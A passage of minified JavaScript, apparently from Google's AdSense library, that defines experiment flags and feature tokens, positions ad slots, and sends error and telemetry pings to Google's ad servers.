re(a){J.call(this,a)}v(re,J);var ke=[1,2,5,7],ne=[2,5,6,11];function se(a){J.call(this,a)}v(se,J);function te(a){if(1!=a.nodeType)var b=!1;else if(b="INS"==a.tagName)a:{b=["adsbygoogle-placeholder"];a=a.className?a.className.split(/\s+/):[];for(var c={},d=0;d<a.length;++d)c[a[d]]=!0;for(d=0;d<b.length;++d)if(!c[b[d]]){b=!1;break a}b=!0}return b};function ue(a,b,c){switch(c){case 0:b.parentNode&&b.parentNode.insertBefore(a,b);break;case 3:if(c=b.parentNode){var d=b.nextSibling;if(d&&d.parentNode!=c)for(;d&&8==d.nodeType;)d=d.nextSibling;c.insertBefore(a,d)}break;case 1:b.insertBefore(a,b.firstChild);break;case 2:b.appendChild(a)}te(b)&&(b.setAttribute("data-init-display",b.style.display),b.style.display="block")};function M(a,b){this.h=a;this.defaultValue=void 0===b?!1:b}function N(a,b){this.h=a;this.defaultValue=void 0===b?0:b}function ve(a,b){b=void 0===b?[]:b;this.h=a;this.defaultValue=b};var we=new M(1084),xe=new M(1082,!0),ye=new N(62,.001),ze=new N(1130,100),Ae=new function(a,b){this.h=a;this.defaultValue=void 0===b?"":b}(14),Be=new N(1114,1),Ce=new N(1110),De=new N(1111),Ee=new N(1112),Fe=new N(1113),Ge=new N(1104),He=new N(1108),Ie=new N(1106),Je=new N(1107),Ke=new N(1105),Le=new N(1115,1),Me=new M(1121),Ne=new M(1144),Oe=new M(1143),Pe=new M(316),Qe=new M(313),Re=new M(369),Se=new M(1093),Te=new N(1098),Ue=new M(1129),Ve=new M(1128),We=new M(1026),Xe=new M(1090),Ye=new M(1053, !0),Ze=new M(1162),$e=new M(1120),af=new M(1100,!0),bf=new N(1046),cf=new M(1102,!0),df=new M(218),ef=new M(217),ff=new M(227),gf=new M(208),hf=new M(282),jf=new M(1086),kf=new N(1079,5),lf=new M(1141),mf=new ve(1939),nf=new ve(1934,["A8FHS1NmdCwGqD9DwOicnHHY+y27kdWfxKa0YHSGDfv0CSpDKRHTQdQmZVPDUdaFWUsxdgVxlwAd6o+dhJykPA0AAACWeyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9", "A8zdXi6dr1hwXEUjQrYiyYQGlU3557y5QWDnN0Lwgj9ePt66XMEvNkVWOEOWPd7TP9sBQ25X0Q15Lr1Nn4oGFQkAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9","A4/Htern2udN9w3yJK9QgWQxQFruxOXsXL7cW60DyCl0EZFGCSme/J33Q/WzF7bBkVvhEWDlcBiUyZaim5CpFQwAAACceyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiQ29udmVyc2lvbk1lYXN1cmVtZW50IiwiZXhwaXJ5IjoxNjQzMTU1MTk5LCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlLCJ1c2FnZSI6InN1YnNldCJ9"]), of=new M(203),pf=new M(434462125),qf=new M(84),rf=new M(1928),sf=new M(1941),tf=new M(370946349),uf=new M(392736476,!0),vf=new N(406149835),wf=new ve(1932,["AxujKG9INjsZ8/gUq8+dTruNvk7RjZQ1oFhhgQbcTJKDnZfbzSTE81wvC2Hzaf3TW4avA76LTZEMdiedF1vIbA4AAABueyJvcmlnaW4iOiJodHRwczovL2ltYXNkay5nb29nbGVhcGlzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzVGhpcmRQYXJ0eSI6dHJ1ZX0=","Azuce85ORtSnWe1MZDTv68qpaW3iHyfL9YbLRy0cwcCZwVnePnOmkUJlG8HGikmOwhZU22dElCcfrfX2HhrBPAkAAAB7eyJvcmlnaW4iOiJodHRwczovL2RvdWJsZWNsaWNrLm5ldDo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9", "A16nvcdeoOAqrJcmjLRpl1I6f3McDD8EfofAYTt/P/H4/AWwB99nxiPp6kA0fXoiZav908Z8etuL16laFPUdfQsAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXRhZ3NlcnZpY2VzLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9","AxBHdr0J44vFBQtZUqX9sjiqf5yWZ/OcHRcRMN3H9TH+t90V/j3ENW6C8+igBZFXMJ7G3Pr8Dd13632aLng42wgAAACBeyJvcmlnaW4iOiJodHRwczovL2dvb2dsZXN5bmRpY2F0aW9uLmNvbTo0NDMiLCJmZWF0dXJlIjoiVHJ1c3RUb2tlbnMiLCJleHBpcnkiOjE2NTI3NzQ0MDAsImlzU3ViZG9tYWluIjp0cnVlLCJpc1RoaXJkUGFydHkiOnRydWV9", "A88BWHFjcawUfKU3lIejLoryXoyjooBXLgWmGh+hNcqMK44cugvsI5YZbNarYvi3roc1fYbHA1AVbhAtuHZflgEAAAB2eyJvcmlnaW4iOiJodHRwczovL2dvb2dsZS5jb206NDQzIiwiZmVhdHVyZSI6IlRydXN0VG9rZW5zIiwiZXhwaXJ5IjoxNjUyNzc0NDAwLCJpc1N1YmRvbWFpbiI6dHJ1ZSwiaXNUaGlyZFBhcnR5Ijp0cnVlfQ=="]),xf=new N(1935);function O(a){var b="sa";if(a.sa&&a.hasOwnProperty(b))return a.sa;b=new a;return a.sa=b};function yf(){var a={};this.i=function(b,c){return null!=a[b]?a[b]:c};this.j=function(b,c){return null!=a[b]?a[b]:c};this.l=function(b,c){return null!=a[b]?a[b]:c};this.h=function(b,c){return null!=a[b]?a[b]:c};this.m=function(){}}function P(a){return O(yf).i(a.h,a.defaultValue)}function Q(a){return O(yf).j(a.h,a.defaultValue)}function zf(){return O(yf).l(Ae.h,Ae.defaultValue)};function Af(a,b,c){function d(f){f=Bf(f);return null==f?!1:c>f}function e(f){f=Bf(f);return null==f?!1:c<f}switch(b){case 0:return{init:Cf(a.previousSibling,e),ja:function(f){return Cf(f.previousSibling,e)},na:0};case 2:return{init:Cf(a.lastChild,e),ja:function(f){return Cf(f.previousSibling,e)},na:0};case 3:return{init:Cf(a.nextSibling,d),ja:function(f){return Cf(f.nextSibling,d)},na:3};case 1:return{init:Cf(a.firstChild,d),ja:function(f){return Cf(f.nextSibling,d)},na:3}}throw Error("Un-handled RelativePosition: "+ b);}function Bf(a){return a.hasOwnProperty("google-ama-order-assurance")?a["google-ama-order-assurance"]:null}function Cf(a,b){return a&&b(a)?a:null};var Df={rectangle:1,horizontal:2,vertical:4};function Ef(a,b){a.google_image_requests||(a.google_image_requests=[]);var c=Mc("IMG",a.document);c.src=b;a.google_image_requests.push(c)}function Ff(a){var b="https://pagead2.googlesyndication.com/pagead/gen_204?id=dtt_err";Sc(a,function(c,d){c&&(b+="&"+d+"="+encodeURIComponent(c))});Gf(b)}function Gf(a){var b=window;b.fetch?b.fetch(a,{keepalive:!0,credentials:"include",redirect:"follow",method:"get",mode:"no-cors"}):Ef(b,a)};function Hf(){this.j="&";this.i={};this.l=0;this.h=[]}function If(a,b){var c={};c[a]=b;return[c]}function Jf(a,b,c,d,e){var f=[];Sc(a,function(g,h){(g=Kf(g,b,c,d,e))&&f.push(h+"="+g)});return f.join(b)} function Kf(a,b,c,d,e){if(null==a)return"";b=b||"&";c=c||",$";"string"==typeof c&&(c=c.split(""));if(a instanceof Array){if(d=d||0,d<c.length){for(var f=[],g=0;g<a.length;g++)f.push(Kf(a[g],b,c,d+1,e));return f.join(c[d])}}else if("object"==typeof a)return e=e||0,2>e?encodeURIComponent(Jf(a,b,c,d,e+1)):"...";return encodeURIComponent(String(a))} function Lf(a,b){var c="https://pagead2.googlesyndication.com"+b,d=Mf(a)-b.length;if(0>d)return"";a.h.sort(function(m,q){return m-q});b=null;for(var e="",f=0;f<a.h.length;f++)for(var g=a.h[f],h=a.i[g],k=0;k<h.length;k++){if(!d){b=null==b?g:b;break}var l=Jf(h[k],a.j,",$");if(l){l=e+l;if(d>=l.length){d-=l.length;c+=l;e=a.j;break}b=null==b?g:b}}a="";null!=b&&(a=e+"trn="+b);return c+a}function Mf(a){var b=1,c;for(c in a.i)b=c.length>b?c.length:b;return 3997-b-a.j.length-1};function Nf(){this.h=Math.random()}function Of(){var a=Pf,b=w.google_srt;0<=b&&1>=b&&(a.h=b)}function Qf(a,b,c,d,e){if((d?a.h:Math.random())<(e||.01))try{if(c instanceof Hf)var f=c;else f=new Hf,Sc(c,function(h,k){var l=f,m=l.l++;h=If(k,h);l.h.push(m);l.i[m]=h});var g=Lf(f,"/pagead/gen_204?id="+b+"&");g&&Ef(w,g)}catch(h){}};var Rf={overlays:1,interstitials:2,vignettes:2,inserts:3,immersives:4,list_view:5};function Sf(){this.wasPlaTagProcessed=!1;this.wasReactiveAdConfigReceived={};this.adCount={};this.wasReactiveAdVisible={};this.stateForType={};this.reactiveTypeEnabledInAsfe={};this.wasReactiveTagRequestSent=!1;this.reactiveTypeDisabledByPublisher={};this.tagSpecificState={};this.messageValidationEnabled=!1;this.floatingAdsStacking=new Tf;this.sideRailProcessedFixedElements=new p.Set;this.sideRailAvailableSpace=new p.Map} function Uf(a){a.google_reactive_ads_global_state?(null==a.google_reactive_ads_global_state.sideRailProcessedFixedElements&&(a.google_reactive_ads_global_state.sideRailProcessedFixedElements=new p.Set),null==a.google_reactive_ads_global_state.sideRailAvailableSpace&&(a.google_reactive_ads_global_state.sideRailAvailableSpace=new p.Map)):a.google_reactive_ads_global_state=new Sf;return a.google_reactive_ads_global_state} function Tf(){this.maxZIndexRestrictions={};this.nextRestrictionId=0;this.maxZIndexListeners=[]};function Vf(a){a=a.document;var b={};a&&(b="CSS1Compat"==a.compatMode?a.documentElement:a.body);return b||{}}function Wf(a){return Vf(a).clientWidth};function Xf(a){return null!==a&&void 0!==a}function Yf(a,b){if(!b(a))throw Error(String(a));};function Zf(a){return"string"===typeof a}function $f(a){return void 0===a};function ag(a){J.call(this,a,-1,bg)}v(ag,J);var bg=[2,8],cg=[3,4,5],dg=[6,7];var eg;eg={Kb:0,Ya:3,Za:4,$a:5};var fg=eg.Ya,gg=eg.Za,hg=eg.$a;function ig(a){return null!=a?!a:a}function jg(a,b){for(var c=!1,d=0;d<a.length;d++){var e=a[d]();if(e===b)return e;null==e&&(c=!0)}if(!c)return!b}function kg(a,b){var c=H(a,ag,2);if(!c.length)return lg(a,b);a=C(a,1,0);if(1===a)return ig(kg(c[0],b));c=Ta(c,function(d){return function(){return kg(d,b)}});switch(a){case 2:return jg(c,!1);case 3:return jg(c,!0)}} function lg(a,b){var c=Cb(a,cg);a:{switch(c){case fg:var d=Hb(a,3,cg);break a;case gg:d=Hb(a,4,cg);break a;case hg:d=Hb(a,5,cg);break a}d=void 0}if(d&&(b=(b=b[c])&&b[d])){try{var e=b.apply(null,ka(wb(a,8)))}catch(f){return}b=C(a,1,0);if(4===b)return!!e;d=null!=e;if(5===b)return d;if(12===b)a=I(a,Db(a,dg,7));else a:{switch(c){case gg:a=yb(a,Db(a,dg,6));break a;case hg:a=I(a,Db(a,dg,7));break a}a=void 0}if(null!=a){if(6===b)return e===a;if(9===b)return null!=e&&0===Ka(String(e),a);if(d)switch(b){case 7:return e< a;case 8:return e>a;case 12:return Zf(a)&&Zf(e)&&(new RegExp(a)).test(e);case 10:return null!=e&&-1===Ka(String(e),a);case 11:return null!=e&&1===Ka(String(e),a)}}}}function mg(a,b){return!a||!(!b||!kg(a,b))};function ng(a){J.call(this,a,-1,og)}v(ng,J);var og=[4];function pg(a){J.call(this,a)}v(pg,J);function qg(a){J.call(this,a,-1,rg)}v(qg,J);var rg=[5],sg=[1,2,3,6,7];function tg(a){a.Sa.apply(a,ka(ta.apply(1,arguments).map(function(b){return{Xa:4,message:b}})))}function ug(a){a.Sa.apply(a,ka(ta.apply(1,arguments).map(function(b){return{Xa:7,message:b}})))};function vg(a){return function(){var b=ta.apply(0,arguments);try{return a.apply(this,b)}catch(c){}}}var wg=vg(function(a){var b=[],c={};a=u(a);for(var d=a.next();!d.done;c={ea:c.ea},d=a.next())c.ea=d.value,vg(function(e){return function(){b.push('[{"'+e.ea.Xa+'":'+Lb(e.ea.message)+"}]")}}(c))();return"[["+b.join(",")+"]]"});function xg(a,b){if(p.globalThis.fetch)p.globalThis.fetch(a,{method:"POST",body:b,keepalive:65536>b.length,credentials:"omit",mode:"no-cors",redirect:"follow"});else{var c=new XMLHttpRequest;c.open("POST",a,!0);c.send(b)}};function yg(a){var b=void 0===b?xg:b;this.l=void 0===a?1E3:a;this.j=b;this.i=[];this.h=null}yg.prototype.Sa=function(){var a=ta.apply(0,arguments),b=this;vg(function(){b.i.push.apply(b.i,ka(a));var c=vg(function(){var d=wg(b.i);b.j("https://pagead2.googlesyndication.com/pagead/ping?e=1",d);b.i=[];b.h=null});100<=b.i.length?(null!==b.h&&clearTimeout(b.h),b.h=setTimeout(c,0)):null===b.h&&(b.h=setTimeout(c,b.l))})()};function zg(a){J.call(this,a,-1,Ag)}v(zg,J);function Bg(a,b){return Eb(a,1,b)}function Cg(a,b){return Gb(a,2,b)}function Dg(a,b){return zb(a,4,b)}function Eg(a,b){return Gb(a,5,b)}function Fg(a,b){return Ab(a,6,b)}function Gg(a){J.call(this,a)}v(Gg,J);Gg.prototype.V=function(){return C(this,1,0)};function Hg(a,b){return Ab(a,1,b)}function Ig(a,b){return Ab(a,2,b)}function Jg(a){J.call(this,a)}v(Jg,J);var Ag=[2,4,5],Kg=[1,2];function Lg(a){J.call(this,a,-1,Mg)}v(Lg,J);function Ng(a){J.call(this,a,-1,Og)}v(Ng,J);var Mg=[2,3],Og=[5],Pg=[1,2,3,4];function Qg(a){J.call(this,a)}v(Qg,J);Qg.prototype.getTagSessionCorrelator=function(){return C(this,2,0)};function Rg(a){var b=new Qg;return Fb(b,4,Sg,a)}var Sg=[4,5,7];function Tg(a,b,c){var d=void 0===d?new yg(b):d;this.i=a;this.m=c;this.j=d;this.h=[];this.l=0<this.i&&Rc()<1/this.i}function Yg(a,b,c,d,e,f){var g=Ig(Hg(new Gg,b),c);b=Fg(Cg(Bg(Eg(Dg(new zg,d),e),g),a.h),f);b=Rg(b);a.l&&tg(a.j,Zg(a,b));if(1===f||3===f||4===f&&!a.h.some(function(h){return h.V()===g.V()&&C(h,2,0)===c}))a.h.push(g),100<a.h.length&&a.h.shift()}function $g(a,b,c,d){if(a.m){var e=new Lg;b=Gb(e,2,b);c=Gb(b,3,c);d&&Ab(c,1,d);d=new Qg;d=Fb(d,7,Sg,c);a.l&&tg(a.j,Zg(a,d))}} function Zg(a,b){b=Ab(b,1,Date.now());var c=fd(window);b=Ab(b,2,c);return Ab(b,6,a.i)};function ah(){var a={};this.h=(a[fg]={},a[gg]={},a[hg]={},a)};var bh=/^true$/.test("false");function ch(a,b){switch(b){case 1:return Hb(a,1,sg);case 2:return Hb(a,2,sg);case 3:return Hb(a,3,sg);case 6:return Hb(a,6,sg);default:return null}}function dh(a,b){if(!a)return null;switch(b){case 1:return D(a,1);case 7:return I(a,3);case 2:return yb(a,2);case 3:return I(a,3);case 6:return wb(a,4);default:return null}}var eh=vc(function(){if(!bh)return{};try{var a=window.sessionStorage&&window.sessionStorage.getItem("GGDFSSK");if(a)return JSON.parse(a)}catch(b){}return{}}); function fh(a,b,c,d){var e=d=void 0===d?0:d,f,g;O(gh).j[e]=null!=(g=null==(f=O(gh).j[e])?void 0:f.add(b))?g:(new p.Set).add(b);e=eh();if(null!=e[b])return e[b];b=hh(d)[b];if(!b)return c;b=new qg(b);b=ih(b);a=dh(b,a);return null!=a?a:c}function ih(a){var b=O(ah).h;if(b){var c=Wa(H(a,pg,5),function(d){return mg(G(d,ag,1),b)});if(c)return G(c,ng,2)}return G(a,ng,4)}function gh(){this.i={};this.l=[];this.j={};this.h=new p.Map}function jh(a,b,c){return!!fh(1,a,void 0===b?!1:b,c)} function kh(a,b,c){b=void 0===b?0:b;a=Number(fh(2,a,b,c));return isNaN(a)?b:a}function lh(a,b,c){return fh(3,a,void 0===b?"":b,c)}function mh(a,b,c){b=void 0===b?[]:b;return fh(6,a,b,c)}function hh(a){return O(gh).i[a]||(O(gh).i[a]={})}function nh(a,b){var c=hh(b);Sc(a,function(d,e){return c[e]=d})} function oh(a,b,c,d,e){e=void 0===e?!1:e;var f=[],g=[];Ra(b,function(h){var k=hh(h);Ra(a,function(l){var m=Cb(l,sg),q=ch(l,m);if(q){var t,y,F;var z=null!=(F=null==(t=O(gh).h.get(h))?void 0:null==(y=t.get(q))?void 0:y.slice(0))?F:[];a:{t=new Ng;switch(m){case 1:Bb(t,1,Pg,q);break;case 2:Bb(t,2,Pg,q);break;case 3:Bb(t,3,Pg,q);break;case 6:Bb(t,4,Pg,q);break;default:m=void 0;break a}zb(t,5,z);m=t}if(z=m){var E;z=!(null==(E=O(gh).j[h])||!E.has(q))}z&&f.push(m);if(E=m){var S;E=!(null==(S=O(gh).h.get(h))|| !S.has(q))}E&&g.push(m);e||(S=O(gh),S.h.has(h)||S.h.set(h,new p.Map),S.h.get(h).has(q)||S.h.get(h).set(q,[]),d&&S.h.get(h).get(q).push(d));k[q]=l.toJSON()}})});(f.length||g.length)&&$g(c,f,g,null!=d?d:void 0)}function ph(a,b){var c=hh(b);Ra(a,function(d){var e=new qg(d),f=Cb(e,sg);(e=ch(e,f))&&(c[e]||(c[e]=d))})}function qh(){return Ta(r(Object,"keys").call(Object,O(gh).i),function(a){return Number(a)})}function rh(a){Xa(O(gh).l,a)||nh(hh(4),a)};function sh(a){this.methodName=a}var th=new sh(1),uh=new sh(16),vh=new sh(15),wh=new sh(2),xh=new sh(3),yh=new sh(4),zh=new sh(5),Ah=new sh(6),Bh=new sh(7),Ch=new sh(8),Dh=new sh(9),Eh=new sh(10),Fh=new sh(11),Gh=new sh(12),Hh=new sh(13),Ih=new sh(14);function Jh(a,b,c){c.hasOwnProperty(a.methodName)||Object.defineProperty(c,String(a.methodName),{value:b})}function Kh(a,b,c){return b[a.methodName]||c||function(){}} function Lh(a){Jh(zh,jh,a);Jh(Ah,kh,a);Jh(Bh,lh,a);Jh(Ch,mh,a);Jh(Hh,ph,a);Jh(vh,rh,a)}function Mh(a){Jh(yh,function(b){O(ah).h=b},a);Jh(Dh,function(b,c){var d=O(ah);d.h[fg][b]||(d.h[fg][b]=c)},a);Jh(Eh,function(b,c){var d=O(ah);d.h[gg][b]||(d.h[gg][b]=c)},a);Jh(Fh,function(b,c){var d=O(ah);d.h[hg][b]||(d.h[hg][b]=c)},a);Jh(Ih,function(b){for(var c=O(ah),d=u([fg,gg,hg]),e=d.next();!e.done;e=d.next())e=e.value,r(Object,"assign").call(Object,c.h[e],b[e])},a)} function Nh(a){a.hasOwnProperty("init-done")||Object.defineProperty(a,"init-done",{value:!0})};function Oh(){this.l=function(){};this.i=function(){};this.j=function(){};this.h=function(){return[]}}function Ph(a,b,c){a.l=Kh(th,b,function(){});a.j=function(d){Kh(wh,b,function(){return[]})(d,c)};a.h=function(){return Kh(xh,b,function(){return[]})(c)};a.i=function(d){Kh(uh,b,function(){})(d,c)}};function Qh(a,b){var c=void 0===c?{}:c;this.error=a;this.context=b.context;this.msg=b.message||"";this.id=b.id||"jserror";this.meta=c}function Rh(a){return!!(a.error&&a.meta&&a.id)};var Sh=RegExp("^https?://(\\w|-)+\\.cdn\\.ampproject\\.(net|org)(\\?|/|$)");function Th(a,b){this.h=a;this.i=b}function Uh(a,b,c){this.url=a;this.u=b;this.La=!!c;this.depth=null};var Vh=null;function Wh(){if(null===Vh){Vh="";try{var a="";try{a=w.top.location.hash}catch(c){a=w.location.hash}if(a){var b=a.match(/\bdeid=([\d,]+)/);Vh=b?b[1]:""}}catch(c){}}return Vh};function Xh(){var a=void 0===a?w:a;return(a=a.performance)&&a.now&&a.timing?Math.floor(a.now()+a.timing.navigationStart):Date.now()}function Yh(){var a=void 0===a?w:a;return(a=a.performance)&&a.now?a.now():null};function Zh(a,b){var c=Yh()||Xh();this.label=a;this.type=b;this.value=c;this.duration=0;this.uniqueId=Math.random();this.slotId=void 0};var $h=w.performance,ai=!!($h&&$h.mark&&$h.measure&&$h.clearMarks),bi=vc(function(){var a;if(a=ai)a=Wh(),a=!!a.indexOf&&0<=a.indexOf("1337");return a});function ci(){this.i=[];this.j=w||w;var a=null;w&&(w.google_js_reporting_queue=w.google_js_reporting_queue||[],this.i=w.google_js_reporting_queue,a=w.google_measure_js_timing);this.h=bi()||(null!=a?a:1>Math.random())} function di(a){a&&$h&&bi()&&($h.clearMarks("goog_"+a.label+"_"+a.uniqueId+"_start"),$h.clearMarks("goog_"+a.label+"_"+a.uniqueId+"_end"))}ci.prototype.start=function(a,b){if(!this.h)return null;a=new Zh(a,b);b="goog_"+a.label+"_"+a.uniqueId+"_start";$h&&bi()&&$h.mark(b);return a};ci.prototype.end=function(a){if(this.h&&"number"===typeof a.value){a.duration=(Yh()||Xh())-a.value;var b="goog_"+a.label+"_"+a.uniqueId+"_end";$h&&bi()&&$h.mark(b);!this.h||2048<this.i.length||this.i.push(a)}};function ei(){var a=fi;this.m=Pf;this.i=null;this.l=this.I;this.h=void 0===a?null:a;this.j=!1}n=ei.prototype;n.Ua=function(a){this.l=a};n.Ta=function(a){this.i=a};n.Va=function(a){this.j=a};n.oa=function(a,b,c){try{if(this.h&&this.h.h){var d=this.h.start(a.toString(),3);var e=b();this.h.end(d)}else e=b()}catch(h){b=!0;try{di(d),b=this.l(a,new Qh(h,{message:gi(h)}),void 0,c)}catch(k){this.I(217,k)}if(b){var f,g;null==(f=window.console)||null==(g=f.error)||g.call(f,h)}else throw h;}return e}; n.Oa=function(a,b){var c=this;return function(){var d=ta.apply(0,arguments);return c.oa(a,function(){return b.apply(void 0,d)})}}; n.I=function(a,b,c,d,e){e=e||"jserror";try{var f=new Hf;f.h.push(1);f.i[1]=If("context",a);Rh(b)||(b=new Qh(b,{message:gi(b)}));if(b.msg){var g=b.msg.substring(0,512);f.h.push(2);f.i[2]=If("msg",g)}var h=b.meta||{};if(this.i)try{this.i(h)}catch(Jc){}if(d)try{d(h)}catch(Jc){}b=[h];f.h.push(3);f.i[3]=b;d=w;b=[];g=null;do{var k=d;if(Hc(k)){var l=k.location.href;g=k.document&&k.document.referrer||null}else l=g,g=null;b.push(new Uh(l||"",k));try{d=k.parent}catch(Jc){d=null}}while(d&&k!=d);l=0;for(var m= b.length-1;l<=m;++l)b[l].depth=m-l;k=w;if(k.location&&k.location.ancestorOrigins&&k.location.ancestorOrigins.length==b.length-1)for(m=1;m<b.length;++m){var q=b[m];q.url||(q.url=k.location.ancestorOrigins[m-1]||"",q.La=!0)}var t=new Uh(w.location.href,w,!1);k=null;var y=b.length-1;for(q=y;0<=q;--q){var F=b[q];!k&&Sh.test(F.url)&&(k=F);if(F.url&&!F.La){t=F;break}}F=null;var z=b.length&&b[y].url;0!=t.depth&&z&&(F=b[y]);var E=new Th(t,F);if(E.i){var S=E.i.url||"";f.h.push(4);f.i[4]=If("top",S)}var rb= {url:E.h.url||""};if(E.h.url){var Kc=E.h.url.match(Ec),Ug=Kc[1],Vg=Kc[3],Wg=Kc[4];t="";Ug&&(t+=Ug+":");Vg&&(t+="//",t+=Vg,Wg&&(t+=":"+Wg));var Xg=t}else Xg="";rb=[rb,{url:Xg}];f.h.push(5);f.i[5]=rb;Qf(this.m,e,f,this.j,c)}catch(Jc){try{Qf(this.m,e,{context:"ecmserr",rctx:a,msg:gi(Jc),url:E&&E.h.url},this.j,c)}catch(zp){}}return!0};n.Pa=function(a,b){var c=this;b.catch(function(d){d=d?d:"unknown rejection";c.I(a,d instanceof Error?d:Error(d))})}; function gi(a){var b=a.toString();a.name&&-1==b.indexOf(a.name)&&(b+=": "+a.name);a.message&&-1==b.indexOf(a.message)&&(b+=": "+a.message);if(a.stack){a=a.stack;try{-1==a.indexOf(b)&&(a=b+"\n"+a);for(var c;a!=c;)c=a,a=a.replace(/((https?:\/..*\/)[^\/:]*:\d+(?:.|\n)*)\2/,"$1");b=a.replace(/\n */g,"\n")}catch(d){}}return b};var hi=ja(["https://www.googletagservices.com/console/host/host.js"]),ii=ja(["https://www.googletagservices.com/console/panel/index.html"]),ji=ja(["https://www.googletagservices.com/console/overlay/index.html"]);nd(hi);nd(ii);nd(ji);function ki(a,b){do{var c=Nc(a,b);if(c&&"fixed"==c.position)return!1}while(a=a.parentElement);return!0};function li(a,b){for(var c=["width","height"],d=0;d<c.length;d++){var e="google_ad_"+c[d];if(!b.hasOwnProperty(e)){var f=K(a[c[d]]);f=null===f?null:Math.round(f);null!=f&&(b[e]=f)}}}function mi(a,b){return!((Yc.test(b.google_ad_width)||Xc.test(a.style.width))&&(Yc.test(b.google_ad_height)||Xc.test(a.style.height)))}function ni(a,b){return(a=oi(a,b))?a.y:0} function oi(a,b){try{var c=b.document.documentElement.getBoundingClientRect(),d=a.getBoundingClientRect();return{x:d.left-c.left,y:d.top-c.top}}catch(e){return null}}function pi(a){var b=0,c;for(c in Df)-1!=a.indexOf(c)&&(b|=Df[c]);return b} function qi(a,b,c,d,e){if(a!==a.top)return Ic(a)?3:16;if(!(488>Wf(a)))return 4;if(!(a.innerHeight>=a.innerWidth))return 5;var f=Wf(a);if(!f||(f-c)/f>d)a=6;else{if(c="true"!=e.google_full_width_responsive)a:{c=Wf(a);for(b=b.parentElement;b;b=b.parentElement)if((d=Nc(b,a))&&(e=K(d.width))&&!(e>=c)&&"visible"!=d.overflow){c=!0;break a}c=!1}a=c?7:!0}return a} function ri(a,b,c,d){var e=qi(b,c,a,.3,d);!0!==e?a=e:"true"==d.google_full_width_responsive||ki(c,b)?(b=Wf(b),a=b-a,a=b&&0<=a?!0:b?-10>a?11:0>a?14:12:10):a=9;return a}function si(a,b,c){a=a.style;"rtl"==b?a.marginRight=c:a.marginLeft=c} function ti(a,b){if(3==b.nodeType)return/\S/.test(b.data);if(1==b.nodeType){if(/^(script|style)$/i.test(b.nodeName))return!1;try{var c=Nc(b,a)}catch(d){}return!c||"none"!=c.display&&!("absolute"==c.position&&("hidden"==c.visibility||"collapse"==c.visibility))}return!1}function ui(a,b,c){a=oi(b,a);return"rtl"==c?-a.x:a.x} function vi(a,b){var c;c=(c=b.parentElement)?(c=Nc(c,a))?c.direction:"":"";if(c){b.style.border=b.style.borderStyle=b.style.outline=b.style.outlineStyle=b.style.transition="none";b.style.borderSpacing=b.style.padding="0";si(b,c,"0px");b.style.width=Wf(a)+"px";if(0!==ui(a,b,c)){si(b,c,"0px");var d=ui(a,b,c);si(b,c,-1*d+"px");a=ui(a,b,c);0!==a&&a!==d&&si(b,c,d/(a-d)*d+"px")}b.style.zIndex=30}};function wi(a,b){this.l=a;this.j=b}wi.prototype.minWidth=function(){return this.l};wi.prototype.height=function(){return this.j};wi.prototype.h=function(a){return 300<a&&300<this.j?this.l:Math.min(1200,Math.round(a))};wi.prototype.i=function(){};function xi(a,b,c,d){d=void 0===d?function(f){return f}:d;var e;return a.style&&a.style[c]&&d(a.style[c])||(e=Nc(a,b))&&e[c]&&d(e[c])||null}function yi(a){return function(b){return b.minWidth()<=a}}function zi(a,b,c,d){var e=a&&Ai(c,b),f=Bi(b,d);return function(g){return!(e&&g.height()>=f)}}function Ci(a){return function(b){return b.height()<=a}}function Ai(a,b){return ni(a,b)<Vf(b).clientHeight-100} function Di(a,b){var c=xi(b,a,"height",K);if(c)return c;var d=b.style.height;b.style.height="inherit";c=xi(b,a,"height",K);b.style.height=d;if(c)return c;c=Infinity;do(d=b.style&&K(b.style.height))&&(c=Math.min(c,d)),(d=xi(b,a,"maxHeight",K))&&(c=Math.min(c,d));while((b=b.parentElement)&&"HTML"!=b.tagName);return c}function Bi(a,b){var c=0==pd(a);return b&&c?Math.max(250,2*Vf(a).clientHeight/3):250};var R={},Ei=(R.google_ad_channel=!0,R.google_ad_client=!0,R.google_ad_host=!0,R.google_ad_host_channel=!0,R.google_adtest=!0,R.google_tag_for_child_directed_treatment=!0,R.google_tag_for_under_age_of_consent=!0,R.google_tag_partner=!0,R.google_restrict_data_processing=!0,R.google_page_url=!0,R.google_debug_params=!0,R.google_adbreak_test=!0,R.google_ad_frequency_hint=!0,R.google_admob_interstitial_slot=!0,R.google_admob_rewarded_slot=!0,R.google_max_ad_content_rating=!0,R.google_traffic_source=!0, R),Fi=RegExp("(^| )adsbygoogle($| )");function Gi(a,b){for(var c=0;c<b.length;c++){var d=b[c],e=zc(d.Rb);a[e]=d.value}};function Hi(a,b,c,d){this.l=a;this.i=b;this.j=c;this.h=d}function Ii(a,b){var c=[];try{c=b.querySelectorAll(a.l)}catch(g){}if(!c.length)return[];b=Ya(c);b=Ji(a,b);"number"===typeof 